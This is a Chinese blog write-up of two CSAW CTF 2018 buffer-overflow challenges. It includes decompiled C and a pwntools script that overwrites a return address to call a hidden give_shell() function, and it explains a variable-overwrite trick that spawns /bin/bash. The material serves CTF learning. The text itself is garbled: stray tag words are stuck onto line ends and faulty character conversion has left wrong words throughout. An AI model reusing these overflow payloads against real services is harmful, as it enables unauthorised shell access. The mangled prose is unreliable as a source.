記兩個國外CTF的弱pwn

兩道題都來自CSAW CTF 18。PWN學得不夠多,若是哪裏錯了,歡迎留言交流。shell

第一個題 get_it

checksec檢查以後,發現棧保護沒開,極可能是棧溢出。IDA打開F5看僞源碼。bash

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+10h] [rbp-20h]
  puts("Do you gets it??");
  gets(&v4);
  return 0;
}

IDA中看到,在程序中還有libc和調用bash的give_shell()函數。雖然有give_shell(),可是沒使用的地方。考查的意圖也很明顯,就是要調用它。函數

用GDB看了一下程序。主函數執行ret指令時用到的地址:code

往上看這個地址的來源,它是從7f...de78(不必定和個人相同)讀出來的,gets()函數的取到的內容從data段的7f...de50開始。作一下減法,改掉它共須要48個字節。blog

pwntools操做(用'a'做垃圾數據填充)內存

from pwn import *
p = remote('pwn.chal.csaw.io',9001)
payload = 'a' * 32 + p64(0x400600) + p64(0x4005b6)
p.recv()
p.sendline(payload)
p.interactive()


    cat flag.txt
flag{y0u_deF_get_itls}

checksec能夠看到沒有開啓棧保護,能夠覆蓋。藉助主函數返回。在gdb裏輸入正常的內容,運行看最後ret的EIP從哪取出來的,拿EIP最後跳轉地址存放的位置減去以前的輸入數據存放的地址,獲得長度。(靜態也能夠,適合大佬使用)中間的所有用垃圾數據覆蓋,最後指定到give_shell()的內存地址上。0x400600地方有一個pop命令,直接覆蓋爲垃圾數據會由於不能出棧致使報錯退出,保留。接下來的指令覆蓋爲give_shell()的內存地址就能夠了。v8

第二個題 boi

記得好像哪一個大學的CTF戰隊名字叫BOI。rem

該開的保護都開了。邏輯代碼沒什麼內容,用足夠的數據覆蓋掉緩衝區就能夠起shell了,注意最後0xCAF3BAEE寫成小端。get

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v5; // [rsp+18h] [rbp-28h]
  __int64 v6; // [rsp+20h] [rbp-20h]
  int v7; // [rsp+28h] [rbp-18h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  buf = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0;
  HIDWORD(v6) = 0xDEADBEEF;
  puts("Are you a big boiiiii??");
  read(0, &buf, 0x18uLL);
  if ( HIDWORD(v6) == 0xCAF3BAEE )
    run_cmd("/bin/bash", &buf);
  else
    run_cmd("/bin/date", &buf);
  return 0;
}
相關文章
相關標籤/搜索